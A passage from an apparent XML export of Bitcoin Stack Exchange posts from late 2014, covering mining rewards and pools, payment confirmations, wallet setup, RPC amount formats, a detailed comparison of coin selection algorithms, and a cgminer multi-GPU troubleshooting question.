LastEditDate="2014-11-11T16:48:04.400" LastActivityDate="2014-11-11T16:48:04.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32435" PostTypeId="1" CreationDate="2014-11-11T18:10:32.300" Score="1" ViewCount="1771" Body="&lt;p&gt;There are hashing calculators in the internet that tells the average amount of bitcoin you'll make in a period of time. I know that when you generate a block you gain 25 BTC (I guess it is still the reward). How is this possible? It's saying you gain ~10000 dollars when you generate a block? The only way to mine bitcoin is either by generating an entire block, which they say will reward you with 25BTC. But the calculators say something like $200/month. How is this possible? For me, the only way to gain is by winning 25BTC + fees of the block, or not gaining anything.&lt;/p&gt;&#xA;" OwnerUserId="21034" LastEditorUserId="5406" LastEditDate="2016-04-24T09:23:24.483" LastActivityDate="2016-04-24T09:27:34.697" Title="Is mining an instant process or it generates fraction of coins constantly?" Tags="|mining-reward|mining-theory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32436" PostTypeId="2" ParentId="32435" CreationDate="2014-11-11T18:24:30.157" Score="6" Body="&lt;p&gt;You are correct, bitcoin mining is a very binary thing. Either you find the hash and you get rewarded bitcoins (currently 25 BTC) or somebody else finds it and you get nothing and have to try your luck on the next block. But because solo mining is such a crapshoot, people tend to join their miners together into what is known as a &quot;mining pool&quot;. In this way, because a pool of miners has much more processing power than a solo machine, there is a much better chance that it will find a block and get the reward. When this happens, the reward is split amongst everyone who contributed to the pool based on the amount of processing power they contributed. You get much less BTC than if you had found the block yourself, but the rewards are more consistent. Those hashing calculators are never exact because bitcoin mining is, by design, meant to be random. All they can do is make an assumption, probabilistically, of the average amount of BTC you might make based on your hashrate.&lt;/p&gt;&#xA;" OwnerUserId="18254" LastActivityDate="2014-11-11T18:24:30.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32437" PostTypeId="1" AcceptedAnswerId="32439" CreationDate="2014-11-11T19:02:10.593" Score="4" ViewCount="503" Body="&lt;p&gt;Suppose customers pay me bitcoins for their purchases. As far as I understand, I could check block chain that the proper payment amount has been made to the address I generate for each customer, and after waiting for &lt;em&gt;several&lt;/em&gt; confirmations I should then ship the product. Why several confirmations? Wouldn't one be sufficient?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is the method I described above the best way to identify a paying customer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="21036" LastEditorUserId="21036" LastEditDate="2014-11-11T19:11:19.760" LastActivityDate="2020-10-04T12:39:30.530" Title="Why wait for several confirmations before shipping?" Tags="|blockchain|confirmations|payment|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32438" PostTypeId="2" ParentId="32437" CreationDate="2014-11-11T19:26:42.510" Score="0" Body="&lt;p&gt;One confirmation is not sufficient. Suppose two miners discover a new block hash at roughly the same time. They each send it to their peers, and then to &lt;em&gt;their&lt;/em&gt; peers, so maybe half the Bitcoin network has new block A and the other half has new block B, both believing that it is a valid new block for the next one in sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This situation won't be resolved until the &lt;em&gt;next&lt;/em&gt; block is generated after that. It is possible (though increasing unlikely) for this kind of situation to happen repeatedly, which is why you should wait for several confirmations before accepting the payment as valid.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-11-11T19:26:42.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32439" PostTypeId="2" ParentId="32437" CreationDate="2014-11-11T19:28:14.557" Score="4" Body="&lt;p&gt;After one &lt;a href=&quot;https://en.bitcoin.it/wiki/Confirmation&quot; rel=&quot;nofollow&quot;&gt;confirmation&lt;/a&gt;, the transaction is very unlikely to be &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;double spent&lt;/a&gt;. However, each further confirmation reduces the probability exponentially. Basically, the number of confirmations provides additional security that the transaction will not be reversed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One reason a retail store or individual might wait for more confirmations to ship is time; it only takes an hour for 6 confirmations to go through, which is negligible time for shipping a product, but can provide assurance to the seller. &lt;/p&gt;&#xA;" OwnerUserId="18227" LastActivityDate="2014-11-11T19:28:14.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32440" PostTypeId="2" ParentId="11349" CreationDate="2014-11-11T19:45:53.763" Score="1" Body="&lt;p&gt;I have written a program in python that does exactly this for Litecoin, Bitcoin, and Dogecoin. The program can connect to peers on any of the above mentioned crypto network and submit the transaction directly instead of relying on a third party central server to push the transaction out to the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is available open source under &lt;a href=&quot;https://github.com/kaykurokawa/pushtx&quot; rel=&quot;nofollow&quot;&gt;https://github.com/kaykurokawa/pushtx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2015-07-12T01:32:49.220" LastActivityDate="2015-07-12T01:32:49.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32441" PostTypeId="1" AcceptedAnswerId="32450" CreationDate="2014-11-11T20:01:29.973" Score="1" ViewCount="266" Body="&lt;p&gt;I'm new to Bitcoin mining, but I'd like to think I got things set up. I'm using guiminer, on slush's pool. For some reason, my accepted shares won't go above 200. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no stale shares but my accepted looks like 1597 (200).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N591e.jpg&quot; alt=&quot;guiminer screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="21038" LastEditorUserId="2306" LastEditDate="2014-11-12T03:33:03.553" LastActivityDate="2014-11-12T03:33:03.553" Title="Accepted shares won't go above 200" Tags="|mining-pool-shares|guiminer|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32442" PostTypeId="1" CreationDate="2014-11-11T20:09:20.747" Score="2" ViewCount="6928" Body="&lt;p&gt;I got Kali Linux installed on my laptop and I want to install a good bitcoin wallet to store my bitcoins offline.As I know,top 5 best bitcoin wallets would be Bitcoin Core (the first offline wallet),Multibit (lightweight),Electrum,Blockchain Wallet and Hive.I would like to know how to install one or more of these,or at least another wallet,but if it's one that I haven't listed,I'd also want some basic information about it and obviously the installation guide.Thanks!&lt;/p&gt;&#xA;" OwnerUserId="19484" LastActivityDate="2015-05-12T01:01:37.367" Title="How can I install a bitcoin wallet on Kali Linux?" Tags="|wallet|coldstorage|offline|storage|safety|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32443" PostTypeId="2" ParentId="32423" CreationDate="2014-11-11T20:23:01.383" Score="2" Body="&lt;p&gt;The PIN-based security is not based on your MAC address (which could be easily spoofed), &lt;a href=&quot;https://github.com/hivewallet/hive-js/wiki/Hive-Web-FAQ&quot; rel=&quot;nofollow&quot;&gt;it's based on a locally-stored private key&lt;/a&gt; that's encrypted with a token stored on their server, which they only give to you when presented with the right PIN (and which they erase if presented with 5 incorrect PINs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the file was only deleted and not physically overwritten yet, there may be a chance that you can still recover this deleted data from your hard drive. Without this file, Hive is completely unable to give you access to your wallet. If you want to try to recover this, stop using the computer immediately, and begin attempting to recover the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There's nothing Hive can do for you&lt;/strong&gt; without this file or, better, the 12 word passphrase. You should have recorded the 12 word passphrase, as was suggested.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-11-11T20:28:20.797" LastActivityDate="2014-11-11T20:28:20.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32444" PostTypeId="1" AcceptedAnswerId="32467" CreationDate="2014-11-11T21:29:56.033" Score="2" ViewCount="224" Body="&lt;p&gt;The Bitcoin RPC calls all use 8 digit decimals ('reals') to encode amounts of satoshis. For example, if I get a transaction output, it might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{&#xA;  &quot;value&quot; : 0.00050000,&#xA;  &quot;n&quot; : 1,&#xA;  &quot;scriptPubKey&quot; : {&#xA;  &quot;asm&quot; : &quot;OP_HASH160 c6e0b29d2aa23b6436cec99e65dfeed2c64a2cad OP_EQUAL&quot;,&#xA;  &quot;hex&quot; : &quot;a914c6e0b29d2aa23b6436cec99e65dfeed2c64a2cad87&quot;,&#xA;  &quot;reqSigs&quot; : 1,&#xA;  &quot;type&quot; : &quot;scripthash&quot;,&#xA;  &quot;addresses&quot; : [&#xA;    &quot;3KpatoAjz3H5huJJieSpH4j7qFUeTXMnFC&quot;&#xA;  ]&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a reason the developers decided to work with &quot;0.00050000&quot; instead of just &quot;50000&quot;? A whole number seems like it would be better for computers to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr/&gt;&#xA;EDIT: I guess the other half of this is that if the RPC calls are being used by a person, then it is easier to use with amounts in decimals (a human can tell the difference between 5.5 and 0.55 a lot easier than 55000000 and 5500000). So I guess the real question is, is the RPC interface meant to be used more for human command line use or for coding applications' use?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-11-11T22:05:11.267" LastActivityDate="2014-11-12T19:16:09.360" Title="Why do the Bitcoin RPC Calls use decimals for coin amounts?" Tags="|json-rpc|satoshi|divisibility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32445" PostTypeId="2" ParentId="32145" CreationDate="2014-11-11T22:20:05.260" Score="20" Body="&lt;h1&gt;Goals of Coin Selection&lt;/h1&gt;&#xA;&lt;p&gt;The challenge for picking a Coin Selection algorithm is that there are multiple goals to optimize for:&lt;/p&gt;&#xA;&lt;h2&gt;Privacy&lt;/h2&gt;&#xA;&lt;p&gt;A wallet's default behavior should be reasonable conducive to the users' financial privacy. The Coin Selection should reveal as little as possible about the wallet contents. Wallets should avoid linking too many addresses, not reveal excessive funds when unnecessary, minimize discernible patterns and fingerprints, but also maintain sufficient UTXOs to spread the balance out. Wallets should never reuse addresses.&lt;/p&gt;&#xA;&lt;h2&gt;Transaction Fee&lt;/h2&gt;&#xA;&lt;p&gt;The Coin Selection must aim to curtail the transaction fee for current transactions, but also minimize the total transaction fees in the long term. Since every UTXO must be spent eventually, it may be sometimes opportune to spend more UTXOs at a low feerate now, than at a high feerate later.&lt;/p&gt;&#xA;&lt;h2&gt;UTXO pool shaping&lt;/h2&gt;&#xA;&lt;p&gt;Dust should always be avoided, but generally small UTXOs will have a large relative cost at elevated feerates, so we should aim to avoid creating tiny change outputs. As a rule of thumb, wallets should not create UTXOs that cost a significant chunk of their value at moderate feerates. Aim for change to be at least 20–50k sats (less for smaller, more for larger input scripts).&lt;/p&gt;&#xA;&lt;h2&gt;Curtail UTXO set size&lt;/h2&gt;&#xA;&lt;p&gt;All UTXOs have to be stored on every full node, and all UTXOs have to be spent eventually. A wallet should keep sufficient UTXOs to maintain financial privacy, but as few as possible to minimize future blockchain data, fees, and the on-going storage cost on every full node.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, some of these goals are antagonal, and therefore every solution must find an appropriate balance for its priorities.&lt;/p&gt;&#xA;&lt;h1&gt;Common algorithms&lt;/h1&gt;&#xA;&lt;p&gt;Let's go over some of the most common algorithms for coin selection, as well as their advantages and disadvantages. We'll look at:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Oldest first (FIFO)&lt;/li&gt;&#xA;&lt;li&gt;Newest first (LIFO)&lt;/li&gt;&#xA;&lt;li&gt;Smallest first&lt;/li&gt;&#xA;&lt;li&gt;Largest first&lt;/li&gt;&#xA;&lt;li&gt;Random&lt;/li&gt;&#xA;&lt;li&gt;Knapsack (used by Bitcoin Core)&lt;/li&gt;&#xA;&lt;li&gt;Branch and Bound (used by Bitcoin Core)&lt;/li&gt;&#xA;&lt;li&gt;Multi-algorithm (used by Bitcoin Core)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Oldest first (FIFO)&lt;/h2&gt;&#xA;&lt;p&gt;Pick UTXOs in order of descending confirmation count.&lt;/p&gt;&#xA;&lt;h3&gt;Good&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will consolidate small UTXOs eventually as they come up&lt;/li&gt;&#xA;&lt;li&gt;Input sets are representative of your UTXO pool's composition, neither particularly small or large&lt;/li&gt;&#xA;&lt;li&gt;Will transition wallet's UTXO pool to the new output format when a new output type is adopted for receiving&lt;/li&gt;&#xA;&lt;li&gt;Will spend UTXOs from same period of time together which may reduce mixing of fingerprints due to different software versions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Bad&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gives a date for the oldest UTXO in the wallet, which e.g. reveals how long a user at least has been using this wallet&lt;/li&gt;&#xA;&lt;li&gt;The values and confirmation count spacing of UTXOs may be used to estimate total wallet balance&lt;/li&gt;&#xA;&lt;li&gt;The timestamp ranges on different transactions may form a serial pattern allowing to associate different transactions of the same wallet and to disambiguate it from other wallets using the same software (since time stamp ranges should never overlap except in last or first confirmation height)&lt;/li&gt;&#xA;&lt;li&gt;Might be used to infer information about a wallet by watching when a known output is spent&lt;/li&gt;&#xA;&lt;li&gt;Will not minimize the transaction fee&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Newest first (LIFO)&lt;/h2&gt;&#xA;&lt;p&gt;Pick UTXOs with lowest confirmation count first.&lt;/p&gt;&#xA;&lt;h3&gt;Good&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Most UTXOs have a small transaction graph, which may be beneficial for privacy&lt;/li&gt;&#xA;&lt;li&gt;Spent UTXOs are closest in acquisition value to value at spending time resulting in smallest effective gain/loss&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Bad&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hardly any consolidation at all if wallet's funds are increasing over time&lt;/li&gt;&#xA;&lt;li&gt;Grinds latest UTXO down, until a newer is received or it is used up. May result in the wallet's UTXO pool having lots of small UTXOs.&lt;/li&gt;&#xA;&lt;li&gt;Will combine the extensive transaction graphs of multiple youngest UTXOs when a larger amount is sent&lt;/li&gt;&#xA;&lt;li&gt;Will link up all your recent activity by always reusing the newest change output&lt;/li&gt;&#xA;&lt;li&gt;Will not minimize transaction fee&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Smallest first&lt;/h2&gt;&#xA;&lt;p&gt;Pick UTXOs in order of ascending value.&lt;/p&gt;&#xA;&lt;h3&gt;Good&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Consolidates small UTXOs ASAP, curbing the wallet's UTXO pool and minimizing future spending cost&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Bad&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reveals lower bound for current UTXO values in wallet&lt;/li&gt;&#xA;&lt;li&gt;Maximizes input sets which increases transaction fees for current transaction&lt;/li&gt;&#xA;&lt;li&gt;Tends to overconsolidate the UXTO pool, reducing financial privacy&lt;/li&gt;&#xA;&lt;li&gt;Links lots of addresses&lt;/li&gt;&#xA;&lt;li&gt;Decreases value range of wallet's UTXO pool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Largest first&lt;/h2&gt;&#xA;&lt;p&gt;Pick UTXOs in order of descending value.&lt;/p&gt;&#xA;&lt;h3&gt;Good&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Minimal transaction fees for current transaction&lt;/li&gt;&#xA;&lt;li&gt;Links few addresses&lt;/li&gt;&#xA;&lt;li&gt;Likely to create sizeable change outputs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Bad&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reveals upper bound for UTXO value in wallet&lt;/li&gt;&#xA;&lt;li&gt;May reveal that wallet holds vastly more funds than necessary to make the current payment&lt;/li&gt;&#xA;&lt;li&gt;Links consecutive transactions while change output is still the largest UTXO&lt;/li&gt;&#xA;&lt;li&gt;Defers consolidation of small UTXOs, maximizing future cost&lt;/li&gt;&#xA;&lt;li&gt;Bloats wallet's UTXO pool (and the global UTXO set) as single recipient spends are usually ±0 on UTXO pool count (minus one input, plus one change output), but incoming transactions increase the UTXO pool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Random&lt;/h2&gt;&#xA;&lt;p&gt;Draft UTXOs with equal chance randomly from all available.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Good&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Selected UTXOs have no consistent fingerprints like age or value&lt;/li&gt;&#xA;&lt;li&gt;Input sets are probabilistically representative of wallet's UTXO pool composition, becoming more consolidatory when more small UTXOs are present&lt;/li&gt;&#xA;&lt;li&gt;Easy to implement&lt;/li&gt;&#xA;&lt;li&gt;Random change output amounts increase value diversity&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Bad&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does not minimize fees&lt;/li&gt;&#xA;&lt;li&gt;May exhibit some fingerprints randomly such as revealing much greater funds in the wallet than necessary for payment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Knapsack (used by Bitcoin Core)&lt;/h2&gt;&#xA;&lt;p&gt;This algorithm (which incidentally does not solve a Knapsack problem) approaches Coin Selection by sorting all UTXOs by value and running 1000 iterations of selections randomly picking UTXOs with a 50% chance from largest to smallest. Whenever it overshoots the target, it deselects the last included UTXO and continues with smaller UTXOs. The algorithm is described exhaustively in in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1077/what-is-the-coin-selection-algorithm&quot;&gt;What is the coin selection algorithm?&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Good&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Produces small UTXO pool&lt;/li&gt;&#xA;&lt;li&gt;Pseudorandom selection of UTXOs reveals little information about the wallet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Bad&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Aggressively consolidates tiny UTXOs including uneconomical outputs&lt;/li&gt;&#xA;&lt;li&gt;Always aims for 10 mBTC change outputs (fingerprint and unnecessarily large)&lt;/li&gt;&#xA;&lt;li&gt;With a lot of small UTXOs in your wallet, likely to cause big transaction fees&lt;/li&gt;&#xA;&lt;li&gt;Unnecessarily expensive computation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Branch and Bound (used by Bitcoin Core since v0.17)&lt;/h2&gt;&#xA;&lt;p&gt;Deterministically search the UTXO pool's combination space for the least wasteful change-avoidant input set. Since there not always is a changeless input set, Bitcoin Core falls back to using the above described &amp;quot;Knapsack&amp;quot; approach in that case.&lt;/p&gt;&#xA;&lt;h3&gt;Good&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Creates no change output which reduces current fees, future fees, cuts transaction graph for wallet, and has consolidatory effect on wallet's UTXO pool&lt;/li&gt;&#xA;&lt;li&gt;Uses minimal input set among viable candidates reducing address linkage and fees&lt;/li&gt;&#xA;&lt;li&gt;Selected UTXOs have no consistent fingerprints like age or value&lt;/li&gt;&#xA;&lt;li&gt;Uses more inputs at lower feerates and fewer inputs at higher feerates due to waste metric&lt;/li&gt;&#xA;&lt;li&gt;Prefers spending less blockspace efficient output types at lower feerates and more efficient output types at higher feerates due to waste metric&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Bad&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does not always produce a solution&lt;/li&gt;&#xA;&lt;li&gt;Sender cannot CPFP since there is no change output&lt;/li&gt;&#xA;&lt;li&gt;More complicated to implement and expensive to compute&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Multi-algorithm (to be used by Bitcoin Core v23+)&lt;/h2&gt;&#xA;&lt;p&gt;The next release after Bitcoin Core 22.0 will run Knapsack, Single Random Draw, and Branch and Bound coin selection in parallel and then choose among the three resulting input set candidates the one that scores best according to the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/22009&quot; rel=&quot;nofollow noreferrer&quot;&gt;waste heuristic&lt;/a&gt;, which was previously already used to pick the best Branch and Bound solution.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Good&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Spends more inputs at low feerates, fewer at high feerates reducing total fees&lt;/li&gt;&#xA;&lt;li&gt;Consolidates small inputs when economically sensible&lt;/li&gt;&#xA;&lt;li&gt;Since input sets are sourced from multiple approaches, patterns are more difficult to identify&lt;/li&gt;&#xA;&lt;li&gt;Often avoids change, improving privacy, fees and reducing linkage&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Bad&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Complicated to implement and test&lt;/li&gt;&#xA;&lt;li&gt;Computationally intensive to compute&lt;/li&gt;&#xA;&lt;li&gt;Still uses a fairly high minimum change of 10 mBTC (when change is  produced)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;Update in Nov 2021:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Remove ambiguous use of term &amp;quot;dust&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Complete rewrite to update to my current understanding&lt;/li&gt;&#xA;&lt;li&gt;Add Random Selection, Branch and Bound, and Bitcoin Core's multi-algorithm approach&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;em&gt;Update in 2021:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Removed a few allusions to Coin Age Priority as transaction selection policy in block building which was removed in Bitcoin Core 0.12.0 in 2016.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Removed erroneous claim that spending multiple inputs from the same address is cheaper&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Note that Bitcoin Core used the Knapsack solver as its only algorithm until 2017, but since then has added an improved algorithm proposed by the author of this answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Update in 2014:&lt;/em&gt;&lt;br /&gt;&#xA;I have been looking into coming up with a better Coin Selection Algorithm, but haven't found one yet that significantly improves on the Core Client Selection Algorithm.&lt;/p&gt;&#xA;&lt;p&gt;Here are some ideas to improve it:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When a UTXO is randomly selected, add all other UTXOs associated with the same address as well: less linking of transactions improves privacy, potentially consolidates UTXOs into fewer.&lt;/li&gt;&#xA;&lt;li&gt;Instead of selecting the smallest change, one could aim to create a change of the same size as the spending target. Assuming that people mostly send useful amounts, this would create new UTXOs of useful value instead of the smallest possible changes as it currently does. It also makes it harder to guess what was the change and what was the payment.&lt;/li&gt;&#xA;&lt;li&gt;Select UTXO set to minimize transaction fee, instead of minimizing change output.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2022-06-16T19:19:16.947" LastActivityDate="2022-06-16T19:19:16.947" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32446" PostTypeId="1" CreationDate="2014-11-11T23:14:23.463" Score="0" ViewCount="593" Body="&lt;p&gt;What's the minimum setup that you guys know, that can, today, mine at least 1 block alone, without the use of mining pools?&#xA;&lt;p&gt;I know I wouldn't be able to afford it, but just by curiosity...&lt;/p&gt;&#xA;" OwnerUserId="21039" LastEditorUserId="5406" LastEditDate="2016-04-24T09:28:04.870" LastActivityDate="2016-04-24T09:28:04.870" Title="What's the minimum setup to mine a block alone?" Tags="|mining-profitability|difficulty|hashpower|" AnswerCount="1" CommentCount="3" ClosedDate="2014-12-18T15:39:43.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="32448" PostTypeId="1" CreationDate="2014-11-12T02:22:05.360" Score="1" ViewCount="505" Body="&lt;p&gt;This is related to scrypt mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded to Ubuntu 14.04 and after a bit of a hassle I have got almost everything working, except my mining. The issue seems to be a mismatch between OpenCL and ADL. I get different outputs from &lt;code&gt;cgminer -n&lt;/code&gt; depending on if I prefix it with &lt;code&gt;sudo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without &lt;code&gt;sudo&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-11-11 21:03:19] CL Platform 0 vendor: Advanced Micro Devices, Inc.                    &#xA;[2014-11-11 21:03:19] CL Platform 0 name: AMD Accelerated Parallel Processing                    &#xA;[2014-11-11 21:03:19] CL Platform 0 version: OpenCL 1.2 AMD-APP (1214.3)                    &#xA;[2014-11-11 21:03:19] Platform 0 devices: 1                    &#xA;[2014-11-11 21:03:19]   0   Pitcairn                    &#xA;[2014-11-11 21:03:19] ADL found more devices than opencl!                    &#xA;[2014-11-11 21:03:19] There is possibly at least one GPU that doesn't support OpenCL                    &#xA;[2014-11-11 21:03:19] Use the gpu map feature to reliably map OpenCL to ADL                    &#xA;[2014-11-11 21:03:19] WARNING: Number of OpenCL and ADL devices did not match!                    &#xA;[2014-11-11 21:03:19] Hardware monitoring may NOT match up with devices!                    &#xA;[2014-11-11 21:03:19] GPU 0 AMD Radeon R9 200 Series hardware monitoring enabled                    &#xA;[2014-11-11 21:03:19] 1 GPU devices max detected &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;sudo&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-11-11 21:03:59] CL Platform 0 vendor: Advanced Micro Devices, Inc.                    &#xA;[2014-11-11 21:03:59] CL Platform 0 name: AMD Accelerated Parallel Processing                    &#xA;[2014-11-11 21:03:59] CL Platform 0 version: OpenCL 1.2 AMD-APP (1214.3)                    &#xA;[2014-11-11 21:03:59] Platform 0 devices: 2                    &#xA;[2014-11-11 21:03:59]   0   Pitcairn                    &#xA;[2014-11-11 21:03:59]   1   Pitcairn                    &#xA;[2014-11-11 21:03:59] Failed to ADL_Adapter_ID_Get. Error -1                    &#xA;[2014-11-11 21:03:59] Failed to ADL_Adapter_ID_Get. Error -1                    &#xA;[2014-11-11 21:03:59] ADL found less devices than opencl!                    &#xA;[2014-11-11 21:03:59] There is possibly more than one display attached to a GPU                    &#xA;[2014-11-11 21:03:59] Use the gpu map feature to reliably map OpenCL to ADL                    &#xA;[2014-11-11 21:03:59] WARNING: Number of OpenCL and ADL devices did not match!                    &#xA;[2014-11-11 21:03:59] Hardware monitoring may NOT match up with devices!                    &#xA;[2014-11-11 21:03:59] 2 GPU devices max detected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without &lt;code&gt;sudo&lt;/code&gt; I can mine on one GPU with hardware monitoring/overclocking.&#xA;With &lt;code&gt;sudo&lt;/code&gt; I can mine on both GPUs without hardware monitoring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the issue is something to do with &lt;code&gt;**Failed to ADL_Adapter_ID_Get. Error -1&lt;/code&gt; - but I have no idea how to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried running &lt;code&gt;aticonfig --initial&lt;/code&gt; with and without &lt;code&gt;--adapter=all&lt;/code&gt; and &lt;code&gt;-f&lt;/code&gt;. I'm at a bit of a loss. Is it possible the upgrade removed some required driver file?&lt;/p&gt;&#xA;" OwnerUserId="20809" LastActivityDate="2014-11-12T02:22:05.360" Title="Multi GPU mining broken since upgrade to Ubuntu 14.04" Tags="|ubuntu|scrypt|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32449" PostTypeId="2" ParentId="32356" CreationDate="2014-11-12T03:27:33.180" Score="3" Body="&lt;p&gt;Much of the evidence presented so far is weak. Addressing it, point-by-point:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.virustotal.com/en/file/f7650cbae465847c493c6ee85479d8e1ea159124021d288755eca8827e97bc00/analysis/1409061088/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The software is a virus.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you look at the scan result, you see that half of the virus scanners detect the miner as Win32.BitCoinMiner.bAM or something similar. It's not surprising that a Bitcoin mining program would be detected as a bitcoin miner.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Company name similar to banking conglomerate but not that company&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I'm not sure what banking conglomerate you're referring to, but that's probably a coincidence. The fact that I don't know what bank you're talking about means that there isn't a likelihood of 